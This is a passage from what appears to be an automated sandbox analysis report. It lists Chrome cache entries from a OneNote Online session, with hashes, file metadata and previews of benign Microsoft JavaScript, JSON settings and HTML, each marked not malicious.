SHA-256:	6D3D61BC8A71041247CFB1C1CB8A7072CC3030B020B9F43845662EF1A05FA161
SHA-512:	DC7CF432825E9B99DDC25E432DB1DB6A13DCB98AB4C1F844ADF478307783D76E06173D64E960972FE7967DD8F013D913AB5F829C0CF38450D1F685195667EA97
Malicious:	false
Preview:	/! For license information please see 13.js.LICENSE.txt /."use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[13],{223:(e,t,n)=>{n.r(t),n.d(t,{_InMemoryPropertyStorage:()=>ss,_OneDSLogger:()=>os,_SanitizerIds:()=>Fo.a,_getDefaultScrubberConfig:()=>ns.a});var a=n(0),i="function",r="object",o="undefined",s=Object,c=s.prototype,d=s.assign,l=s.create,u=s.defineProperty,f=c.hasOwnProperty,p=null;function m(e){void 0===e&&(e=!0);var t=!1===e?null:p;return t\|\|(typeof globalThis!==o&&(t=globalThis),t\|\|typeof self===o\|\|(t=self),t\|\|typeof window===o\|\|(t=window),t\|\|typeof n.g===o\|\|(t=n.g),p=t),t}function _(e){throw new TypeError(e)}function h(e){if(l)return l(e);if(null==e)return{};var t=typeof e;function n(){}return t!==r&&t!==i&&_("Object prototype may only be an Object:"+e),n.prototype=e,new n}(m()\|\|{}).Symbol,(m()\|\|{}).Reflect;var b,g=function(e,t){return g=s.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5949), with no line terminators
Category:	downloaded
Size (bytes):	5949
Entropy (8bit):	5.021760613857532
Encrypted:	false
SSDEEP:	96:Vq+J+ZRrxLuL7H9T4Mh+HsQ7qQYHq3l0e4QDhMWp:xJ+ZR07HNhhw7qQYHq3l0e4P8
MD5:	BBF6A2B6E77972F0718F99C86AE3FE92
SHA1:	806E8C002AE178B41819BEAFE123AE09202DF966
SHA-256:	78FF6158246E4FA25F994827F90ED69FEEF349AA57449CB404E35C3026BD4B8A
SHA-512:	4B4F58735190254E74ED9BAF547046642F622EE35414784A093356D28982A28A5D84E4CE71E476A88BC43583B6BB2D916B16A733D67D5B30E145DC2E4182BC8C
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/h78FF6158246E4FA2_App_Scripts/CompatParentElementFix.js
Preview:	function __loadCompat(n){n.Debug=function(){};n.Debug._fail=function(n){throw new Error(n);};n.Debug.writeln=function(n){window.console&&window.console.debug(n)};n.__getNonTextNode=function(n){try{while(n&&n.nodeType!=1)n=n.parentNode}catch(t){n=null}return n}}function _loadSafariCompat(){Node.prototype.__defineGetter__("text",function(){return this.textContent});Node.prototype.__defineSetter__("text",function(n){this.textContent=n});Node.prototype.selectNodes=function(n){var t=this.ownerDocument;return selectNodes(t,n,this)};Node.prototype.selectSingleNode=function(n){var t=this.ownerDocument;return selectSingleNode(t,n,this)};Document.prototype.selectNodes=function(n){return selectNodes(this,n,this.documentElement)};Document.prototype.selectSingleNode=function(n){return selectSingleNode(this,n,this.documentElement)}}function _loadMozillaCompat(n){n.navigate=function(n){window.setTimeout('window.location = "'+n+'";',0)};var t=function(n,t){t._mozillaEventHandler=function(n){return win

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38617), with no line terminators
Category:	dropped
Size (bytes):	38617
Entropy (8bit):	4.892203561984488
Encrypted:	false
SSDEEP:	768:N4kjOKvWptT2z2p9hmkNqJ3htY1xYhwn5n9O:YKOptT2Sp9A7htY1xYC5n9O
MD5:	FE1E3F510D9B8C6F79E1E5E52362BC6E
SHA1:	5E3B968543A37E7AD3AA50B2536420DEE762C069
SHA-256:	82C1D484D2DD8CC012FC9DED6FE545E4D83C6232337038B1A57BCEDEEFF70193
SHA-512:	5CA94E3421E76CBB09BA4AF4A13FD79ABD22A43B148662AF9A1DC6585860B0BA9BF4E34D285BBAEFD7016C42D47045CBC0AD2BD8970D10BD1F5ABD1357A06BFA
Malicious:	false
Preview:	Type.registerNamespace("OneNoteIntl");OneNoteIntl.OneNoteStrings=function(){};OneNoteIntl.OneNoteStrings.registerClass("OneNoteIntl.OneNoteStrings");OneNoteIntl.OneNoteStrings.L_CloudFilesUploadSuccess="Successfully Uploaded : {0}";OneNoteIntl.OneNoteStrings.L_CloudFilesUploadFailed="Error Uploading : {0}";OneNoteIntl.OneNoteStrings.L_ContextMenuSmartLookup="Search";OneNoteIntl.OneNoteStrings.L_ContextMenuTextSmartLookup='Search "{0}"';OneNoteIntl.OneNoteStrings.L_BrowseVersions="Page Versions";OneNoteIntl.OneNoteStrings.L_Camera="Camera";OneNoteIntl.OneNoteStrings.L_CopyNotebook="Copy Notebook";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorMessage="The new experimental sync feature has experienced an error and your change may not be saved.";OneNoteIntl.OneNoteStrings.L_HierarchySyncErrorRefreshMessage="Please click here or refresh the webpage to resolve the issue.";OneNoteIntl.OneNoteStrings.L_CopyToCloudDescription="Edit and view this notebook on all your devices";OneNoteIntl.OneNot

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	73679
Entropy (8bit):	5.345331273160561
Encrypted:	false
SSDEEP:	768:2mEAABhINqfFi3U+BBZ9rbov8krznXSraMIRF+b+hNH8IBYLd9+yerrwg6ksYcI0:sBhPfQ3pBBZ9n4wQB4XjUQeoSGfUk
MD5:	65F960810895837B06B1D3AE1CCEAEF3
SHA1:	0673F80A70CFB78AD7018E161E3201E80CB71307
SHA-256:	F452E6287DAFD3B632CBFF8533ED5DFC2F6F476C8672B468CF6DCFE321B8C889
SHA-512:	1DB287677E77DF1E62326486EEDA54DAB20A760008180ED93D905029B6361BA06212F62DD366E77435F43F701CC9BBE1DC46234C6201173B75336BA79A41DF26
Malicious:	false
Preview:	var oteljs_agave=function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(i,r,function(t){return e[t]}.bind(null,r));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=31)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3795
Entropy (8bit):	4.3847997178613
Encrypted:	false
SSDEEP:	96:p/fGAvScPHMBAQhlrg7uECJYUymTmhI4n3odG39VoP:p/+AvpHJQhaw6ATw7VI
MD5:	7EFB98DE199CD791DC7D3650A1685B42
SHA1:	1064296C0851BA699167A644E3C322D093179B55
SHA-256:	028D29AE4387812DB2D195C467F5E284146875A89B3929B5EA793274ACA3BD58
SHA-512:	39E6171E0768A8521BF6C194C590F22419BC8275B461B76DFAD42DBE2349D7754A368DE41014059286667E555D2F041F009C7699AA6B31A70FBA3C5FC598D484
Malicious:	false
URL:	https://onenote.officeapps.live.com/o/AppSettingsHandler.ashx?app=OneNote&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build=
Preview:	{"timestamp":1729844359843,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"EnableWordSessionRefreshLoggingCleanup":false,"BootstrapperSettingsFetchPeriod":60000,"BootstrapperUlsHeartbeatIntervalMs":5000,"BootstrapperMaxUlsHeartbeatTime":600000,"BootstrapperNoCompleteWarning1Time":120000,"BootstrapperNoCompleteWarning2Time":180000,"BootstrapperUlsUploadCadenceMs":60000,"WordRefreshTelemetryExpirationInDays":7,"RequestedCallThrottlingDefaultToViewMinimumValue":"Major","RemoteUlsETag":"C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1","RemoteUlsSuppressions":"378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.4647615085670616
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqFOa7JZRGNeHX+AYcvP2wk1USdYF9Yk5:lmIAq1UqFOiJZ+eHX+AdP2wyYFOk5
MD5:	D29FA9F2AB3A72F2608E8E82C8C3D1C6
SHA1:	8B21CC06752837B4B6B8FEF8D54F50EB2C7CCA8F
SHA-256:	E1B0A10649C4B92F828523EFC2EBE135EA9488179A2816888D1E84F786202DBF
SHA-512:	824A207E3F5AF4934B7B50FE5E3F8585FAECA571C3C39E510C06DC8FBDF3E64B07811CAAE06239936BDDDDFA4C90E534F03C0DA8147AF9294042DEA6B0FBCB94
Malicious:	false
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>500 - Internal server error.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="content-

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (337), with CRLF line terminators
Category:	downloaded
Size (bytes):	4577
Entropy (8bit):	5.49648351687966
Encrypted:	false
SSDEEP:	96:GtZxJm4cah0se6IEBDJmq2ahzT2jfuEu0ef:GtZxFcGIEBDf2oTUGb0g
MD5:	BF59C3AFC78147476A22044ABB4050AD
SHA1:	2F49EE0318114E7601D13A9FB8A7B84D60C8C25B
SHA-256:	A99D7B0089FE87A8C2D335AD659F20D1BBF7DDACA682F85CDEB437DA45603DEF
SHA-512:	B3FADE76700E387761EB146920529AE29883B15FC292FA79B73B6DBAF70654DD8727547F4910156789446BDF85ED8A8FB3E0911EC7B655E8F89EDFEA02C69C28
Malicious:	false
URL:	https://oauth.officeapps.live.com/oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1
Preview:	....<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">....<html xmlns="http://www.w3.org/1999/xhtml">...<head><title>....</title>....<style id="sharedauthstyles" nonce="5e5b1a7b-69ce-4f8b-970d-9550d314960a"></style>....<script type="text/javascript" nonce="8893ddeb-8768-4637-91fe-20ed64f45f04">.....function loadBackupScript() {......var backupScript = document.createElement('script');......backupScript.setAttribute("data-allowedapps", "5a4eed13-c4c4-4b4c-9506-334ab200bf31;93d53678-613d-4013-afc1-62e9e444a0a5");......backupScript.setAttribute("data-allowedaudiences", "e03a13ee-9730-4cae-8525-47559c8cf18a;https://augloop.office.com/v2;394866fc-eedb-4f01-8536-3ff84b16be2a;liveprofilecard.access;https://shredder-us.osi.office.net/;https://substrate.office.com;https://consentservice.microsoft.com/web;https://consentservice.microsoft.com/checkin;");......backupScript.setAttribute("data-origin", "https://onenote.officeapps

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1248494
Entropy (8bit):	5.538461680476485
Encrypted:	false
SSDEEP:	24576:fQ3VbTgDxy73Hu+sYsdiFQ+E2bCaG3Z83:fQ3VbEDxy73O+sYSim+E2+H3Zg
MD5:	669A6FE594693F2596A28853D92FB309
SHA1:	FE5DE41CFEFAC7DDEFAD06322238D30FAFEEC580
SHA-256:	60DD865806D547201402D473A6C7C2635477A33F3E871428557143273872F13C
SHA-512:	C17A899B62B5CFF4DC5531969BF61E24F58C308AC2503A78A16DAB76BD1167BDC5FE904869F4BF133D77972EB6A8853F664A3269BE21B42DE1226AB5A1B72384
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/common50.min.js
Preview:	function _define_property(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{},o=Object.keys(n);"function"==typeof Object.getOwnPropertySymbols&&(o=o.concat(Object.getOwnPropertySymbols(n).filter((function(e){return Object.getOwnPropertyDescriptor(n,e).enumerable})))),o.forEach((function(t){_define_property(e,t,n[t])}))}return e}function ownKeys(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function _object_spread_props(e,t){return t=null!=t?t:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):ownKeys(Object(t)).forEach((function(n){Object.defineProperty(e,n,Object.getOwnPropertyDescriptor(t,n))})),e}function _object_wi

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14666), with no line terminators
Category:	downloaded
Size (bytes):	14666
Entropy (8bit):	5.192998441009612
Encrypted:	false
SSDEEP:	192:9dbIGOqZ05GyaKzhRCwqyf/q2E+Rh99TzlfVNyv83+LBoaWLNwGfiC8O5PPM:9BiUQhRVfye99Pl9483+LBoaWLqv
MD5:	8880E957219B056B26B67D88CB7FFFF5
SHA1:	BE024ABFE99C2DC447191E2C59DD96FD9352E2C4
SHA-256:	4BBB0DBB03A136E993BB2FB363455E7DCABF84CBB17DE37AD6168B9326E56909
SHA-512:	1E611B1C8D3B7DE4CEE215C989885A6F8256B89A51621B77598A9A363AAF2897FC439DD73860234BA77AB682B84D05437CE0DBBDA59C3C1B5CC9D16662897EC5
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/h4BBB0DBB03A136E9_App_Scripts/jsanity.js
Preview:	if("undefined"!=typeof jSanity)throw"jSanity has been defined, please check if there's any duplicate reference.";jSanity={},function(e){"use strict";var t={inputString:"",maxWidth:"600px",maxHeight:"200px",overflow:"hidden",allowLinks:!0,linkClickCallback:null,customProtocols:{},allowRelativeURLs:!1,allowAudioVideo:!1,unsupportedContentCallback:null,externalContentCallback:function(e,t,r,o){var i;if("attribute"===e&&"src"===t)for(var n in o)if(o.hasOwnProperty(n)&&r.substring(0,n.length)===n){i=!0;break}return i\|\|(r="CSSURL"===e?'url("about:blank")':"about:blank"),r},isolatedTargetDOM:!1,directModifySource:!0,attributePrefix:"jSanity",dataAttributeCallback:null,debugLevel:0,onFinishedCallback:null},r=function(){this.sync=!0,this.jobs=[],this.id=r.globalId++,this.listnerPosfix=0,this.onCompletedListners={},this.onNewJobAddedListners={},this.useSync=function(){this.sync=!0},this.useAsync=function(){this.sync=!1},this.addNewJob=function(e){for(var t in this.jobs.push(e),this.onNewJobAdded

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1922), with no line terminators
Category:	downloaded
Size (bytes):	1922
Entropy (8bit):	5.006174566262526
Encrypted:	false
SSDEEP:	48:yThd/YIWeETNQuFNJMgBVAGzeFWOUutFRVoZjskBWs:U0IWYuPuG3yov
MD5:	3E3CD75B07B521BC61C01450E2C7873A
SHA1:	57D7881E0E878CABE74B1021CF86126148928DE7
SHA-256:	2882BF4B22D0AD63E6F8877EB5C22353921E8C87B197911462933B7D1A7A44B8
SHA-512:	3B1D53CB1F49B2CF8648CEF8EDEB526B924430F2FC622421DF6AB3F61E49449CD5EB8BCCC7E6A019575A4843B0D3C50A69C4B0BF1D1133F960E92969CAC37BE7
Malicious:	false
URL:	https://cdn.onenote.net/officeaddins/161821840453_Scripts/BrowserUls.js
Preview:	function InitializeUls(){TheUlsHost=new Diag.ConsoleUlsHost;Diag.ULS.setUlsHost(TheUlsHost)}function FlushBrowserUls(){TheUlsHost&&TheUlsHost.dispose();InitializeUls()}var __extends=this.__extends\|\|function(n,t){function r(){this.constructor=n}for(var i in t)t.hasOwnProperty(i)&&(n[i]=t[i]);r.prototype=t.prototype;n.prototype=new r},Diag,TheUlsHost;(function(n){var t=function(){function n(){}return n.prototype.isEnabled=function(){var n=!1;try{typeof Storage!="undefined"&&(n=localStorage.getItem("EnableConsoleLogging")==="true")}catch(t){}return n&&window.console&&window.console.log},n.prototype.error=function(n){window.console.error(n)},n.prototype.warning=function(n){window.console.warn(n)},n.prototype.info=function(n){window.console.info(n)},n.prototype.log=function(n){window.console.log(n)},n}(),i=function(i){function r(r,u){r===void 0&&(r=new t);i.call(this,SessionId,BrowserUlsUploadPath,new n.UlsUploadConfiguration(null,null,null,null,null,null,!0));this._console=r;this._suppress

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41569), with no line terminators
Category:	dropped
Size (bytes):	41569
Entropy (8bit):	5.349246096567034
Encrypted:	false
SSDEEP:	384:wwstGDociKcWpWS8neDvci6hR5fZ2tF3t97D0QeIHcTzeC:wBlneDvci6hR5fZyt97QLIUz
MD5:	345BFF8D2E34511694D9D12A008F5F5D
SHA1:	B3F35302052C26C285C43B935BCE972904E62E28
SHA-256:	DD4039F8AFAC6FD76B462C4FD4F90374B18DB762719108491AC2E365196D71AC
SHA-512:	5B6A9EB510BFBD7198D00BA674FEB6D04B6E95A7E359A0C9B1C17086FACA1859AE4FE126985812C0AB1E87FEA963FA9B169C3A21A7DA534EC79B972D0935A692
Malicious:	false
Preview:	function WacCurve(n,t,i,r,u,f){this.ID=n;this.type=t;this.x1=i;this.y1=r;this.x2=u;this.y2=f}function WacIntWrapper(n,t){this.value=n;this.contextId=t}function WacKeyFrame(n,t,i,r,u,f,e,o){this.type=n;this.curveID=t;this.startTime=i==null\|\|i.value==undefined?new WacIntWrapper(i,null):i;this.endTime=r==null\|\|r.value==undefined?new WacIntWrapper(r,null):r;this.startValue=u==null\|\|u.value==undefined?new WacIntWrapper(u,null):u;this.endValue=f==null\|\|f.value==undefined?new WacIntWrapper(f,null):f;this.relativeTo=e;this.operationType=o}function WacAnimation_ContextVariableManager(){}function WacAnim(n,t){this.ID=n;this.keyFrames=t}function WacAnimationuser(){this.AnimationQueue=new Array(0);this.sharedTimer=null;this.sharedCancelTimer=null;this.resetInterval=5e3;this.sharedTimerRefs=0;this.conflictTable=new Array(0);this.currentAnimationIndex=-1;this.temporaryIDGenerator=0}function WacAnimation_State(){this.Index=0;this.Data=new Array(0);this.AnimateRight=!1}function WacAnimation_Object(n

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20946), with CRLF line terminators
Category:	dropped
Size (bytes):	21179
Entropy (8bit):	4.946956269702156
Encrypted:	false
SSDEEP:	384:OZKKcZ2dMMj+hS6rLg4dHg15dR7tV6NvQLsljRei:OZ7j+w6rLg3HtsNvLhRei
MD5:	92A3DDF4C14AF9EB4DB2939A2B2712AC
SHA1:	81B322775A3E9E9335FB780179B6B922759CE6FF
SHA-256:	5B6D3F98F8A755878F226B38FDB1F7C31E67B456221F253B70F95AA331668594
SHA-512:	1A61A585D707BFC1E78B8734A89D1C73673324E1ABF5CF579799D73860A5160119FDCD2C910C8B77C827C42E76D1A7FEEA2D43E9ADBD3B95223514A34E563D61
Malicious:	false
Preview:	if (window.Type && window.Type.registerNamespace) {..Type.registerNamespace("Strings");} else {..if(typeof(window['"Strings"']) == 'undefined') {..window['"Strings"'] = new Object(); window['"Strings"']. __namespace = true;..}....}..Strings.OfficeOM=function(){};if (Strings.OfficeOM.registerClass) Strings.OfficeOM.registerClass("Strings.OfficeOM");Strings.OfficeOM.L_APICallFailed="API Call Failed";Strings.OfficeOM.L_APINotSupported="API Not Supported";Strings.OfficeOM.L_ActivityLimitReached="Activity limit has been reached.";Strings.OfficeOM.L_AddBindingFromPromptDefaultText="Please make a selection.";Strings.OfficeOM.L_AddinIsAlreadyRequestingToken="Add-in is already requesting an access token.";Strings.OfficeOM.L_AddinIsAlreadyRequestingTokenMessage="The operation failed because this add-in is already requesting an access token.";Strings.OfficeOM.L_ApiNotFoundDetails="The method or property {0} is part of the {1} requirement set, which is not available in your version of {2}.";String

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57788)
Category:	dropped
Size (bytes):	57831
Entropy (8bit):	5.310477756021743
Encrypted:	false
SSDEEP:	1536:s3nHejeriyXnQHKg5gA07UZcSolXfk0HuIx/YKi0PK:o3E15gLpSYkp2/YP
MD5:	BC93B7FD04F68A94312B547CEF297451
SHA1:	59EA29125AD34035D985DA7C32668D1570BA2FE0
SHA-256:	E55ED51D4941518F0B995EDF3557D3845DB5B91E0EA9F7BA771DC14A312871A1
SHA-512:	D9BFC87D2B458952707FE509190762B064263F61051A16068DCFE67F3FA7E5A39FC69B8F0D4CF035763EF7E563EBE92464A63E988BEB3991765142C41738C9DF
Malicious:	false
Preview:	var wacBoot;!function(){"use strict";var e,t,i={},n={};function s(e){var t=n[e];if(void 0!==t)return t.exports;var o=n[e]={exports:{}};return i[e](o,o.exports,s),o.exports}s.m=i,s.d=function(e,t){for(var i in t)s.o(t,i)&&!s.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:t[i]})},s.f={},s.e=function(e){return Promise.all(Object.keys(s.f).reduce((function(t,i){return s.f[i](e,t),t}),[]))},s.u=function(e){return"pasLogger.min.js"},s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),s.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},e={},t="wacBoot:",s.l=function(i,n,o,a){if(e[i])e[i].push(n);else{var r,l;if(void 0!==o)for(var c=document.getElementsByTagName("script"),d=0;d<c.length;d++){var u=c[d];if(u.getAttribute("src")==i\|\|u.getAttribute("data-webpack")==t+o){r=u;break}}r\|\|(l=!0,(r=document.createElement("script")).charset="utf-8",r.timeout=120,s.nc&&r.

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	73679
Entropy (8bit):	5.345331273160561
Encrypted:	false
SSDEEP:	768:2mEAABhINqfFi3U+BBZ9rbov8krznXSraMIRF+b+hNH8IBYLd9+yerrwg6ksYcI0:sBhPfQ3pBBZ9n4wQB4XjUQeoSGfUk
MD5:	65F960810895837B06B1D3AE1CCEAEF3
SHA1:	0673F80A70CFB78AD7018E161E3201E80CB71307
SHA-256:	F452E6287DAFD3B632CBFF8533ED5DFC2F6F476C8672B468CF6DCFE321B8C889
SHA-512:	1DB287677E77DF1E62326486EEDA54DAB20A760008180ED93D905029B6361BA06212F62DD366E77435F43F701CC9BBE1DC46234C6201173B75336BA79A41DF26
Malicious:	false
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/telemetry/oteljs_agave.js
Preview:	var oteljs_agave=function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:i})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)n.d(i,r,function(t){return e[t]}.bind(null,r));return i},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=31)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20082), with no line terminators
Category:	dropped
Size (bytes):	20082
Entropy (8bit):	5.3785189328644485
Encrypted:	false
SSDEEP:	384:Tt1CTbGLeulh4MQOCS9AKBINrXNlQihhST3iT00XazfPTZsn:p1GTuli2gKBkrPTpqrTZs
MD5:	58A30E58FBE0165292F0425B04256E46
SHA1:	420050FE7E6034D52094B2F769FDB12A3591A748
SHA-256:	534ECF698946529FF99C868DA810DAB8E1E9C7491EBDC873BDF95D34ABF75C4E
SHA-512:	6127E32FC185C33353C75180F2B54DFE28E471558FF2478B23C8AB64511BFBAC0AA6200740F94186F0CC56F5D6137C9BD7F16BA3580F4E994A064B7E5AE67D44
Malicious:	false
Preview:	function getLanguageParameter(n){var t,i;if(UseApiForUILanguage&&Office.context.displayLanguage)return""+n+"="+Office.context.displayLanguage;var f=window.location.search.substr(1),r=f.split("&"),u="";for(t=0;t<r.length;t++)if(i=r[t].split("=",2),i.length==2&&i[0]=="ui"){u=""+n+"="+i[1];break}return u}function getEdgeMajorVersion(){var t=navigator.userAgent,n=t.match(/Edge\/([0-9]+)/i);return n&&n.length>=2?parseInt(n[1]):-1}function getQueryParameter(n){var u,r,t,i;if(window.location.search&&window.location.search.length>1)for(u=window.location.search.substring(1),r=u.split("&"),t=0;t<r.length;t++)if(i=r[t].split("="),decodeURIComponent(i[0])==n)return i.length>1?decodeURIComponent(i[1]):"";return null}function now(){return(new Date).getTime()}function generateGuid(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=Math.random()*16\|0,i=n==="x"?t:t&3\|8;return i.toString(16)})}function createSimpleHtml(n,t,i){i===void 0&&(i=null);var r=document.createElemen

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	351959
Entropy (8bit):	5.473926445319263
Encrypted:	false
SSDEEP:	6144:nP3mD7UhRYdVoY7BjQ/ngt37xg3xs8uapoI4HICioBje:P28g0iBje
MD5:	6D65897ADB16447C6CA38DF7EF5C62F3
SHA1:	527058146A95BAD856D5FF78238568507BFCC185
SHA-256:	B82EC4FEBA0212A5367C85FDA50406BE8B014826E7826251FBE79AFF398B7566
SHA-512:	5F74593312AE970CBE06B50AEF5CF96034AD8693DC2B40EBB37DDD5544EB9CDF78421773FD63B304EDC8BBEAE881BF3CC1D87F6097FA0013D8125F17C09C12B6
Malicious:	false
Preview:	function _define_property(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}function _object_spread(t){for(var e=1;e<arguments.length;e++){var i=null!=arguments[e]?arguments[e]:{},n=Object.keys(i);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(i).filter((function(t){return Object.getOwnPropertyDescriptor(i,t).enumerable})))),n.forEach((function(e){_define_property(t,e,i[e])}))}return t}function ownKeys(t,e){var i=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),i.push.apply(i,n)}return i}function _object_spread_props(t,e){return e=null!=e?e:{},Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(e)):ownKeys(Object(e)).forEach((function(i){Object.defineProperty(t,i,Object.getOwnPropertyDescriptor(e,i))})),t}(globalThis.onenote

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
